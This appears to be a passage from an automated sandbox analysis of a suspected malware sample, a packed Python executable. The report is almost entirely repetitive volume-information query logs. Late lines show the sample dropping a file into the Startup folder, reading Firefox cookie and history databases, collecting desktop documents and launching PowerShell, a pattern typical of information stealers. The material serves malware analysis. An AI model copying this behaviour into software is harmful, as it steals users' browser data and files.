Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\_lzma.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\_bz2.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\select.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI33962\unicodedata.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\X9g8L63QGs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\content-prefs.sqlite VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\favicons.sqlite VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\permissions.sqlite VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\? ?\System\Antivirus.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\AQRFEVRTGL.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\AQRFEVRTGL.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\AQRFEVRTGL.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\Desktop\AQRFEVRTGL.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\? ?\Common Files\Desktop\AQRFEVRTGL.xlsx VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
